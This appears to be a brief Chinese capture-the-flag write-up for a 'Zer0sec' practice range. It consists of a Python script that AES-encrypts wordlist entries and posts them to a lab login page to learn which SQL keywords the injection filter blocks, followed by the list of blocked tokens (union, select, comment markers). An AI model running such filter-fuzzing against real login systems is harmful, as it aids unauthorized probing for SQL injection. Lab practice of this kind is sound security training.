Zer0sec靶场wp

import requests
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import base64

# 设置密钥和初始化向量
key = '1234567890abcdef'.encode('utf-8')
iv = '0987654321fedcba'.encode('utf-8')

# 加密函数
def encrypt(data):
    cipher = AES.new(key, AES.MODE_CBC, iv)
    padded_data = pad(data.encode('utf-8'), AES.block_size)
    encrypted_data = cipher.encrypt(padded_data)
    return base64.b64encode(encrypted_data).decode('utf-8')

# 读取1.txt文件内容
with open('1.txt', 'r', encoding='utf-8') as file:
    usernames = file.readlines()

# 代理设置
proxies = {
    'http': 'http://127.0.0.1:8080',
    'https': 'http://127.0.0.1:8080'
}

# 遍历每个用户名
for username in usernames:
    username = username.strip()  # 去除换行符和空格
    if not username:  # 跳过空行
        continue

    # 加密用户名
    encrypted_username = encrypt(username)

    # 构造请求数据
    data = {
        'username': encrypted_username,
        'password': encrypted_username
    }

    # 发送POST请求
    try:
        response = requests.post('http://113.45.189.205:8085/login.php', data=data, proxies=proxies)
        print(f"用户名: {username}, 响应状态码: {response.status_code}")

        # 检查响应内容
        if '用户名包含非法字符' in response.text:
            with open('过滤.txt', 'a', encoding='utf-8') as file:
                file.write(username + '\n')
            print(f"用户名 '{username}' 包含非法字符，已写入过滤.txt")
    except Exception as e:
        print(f"请求失败，用户名: {username}, 错误: {e}")

print("处理完成")

or
and
like
into
select
union
order
cursor
for
foreign
--
#
;
=
/*
*/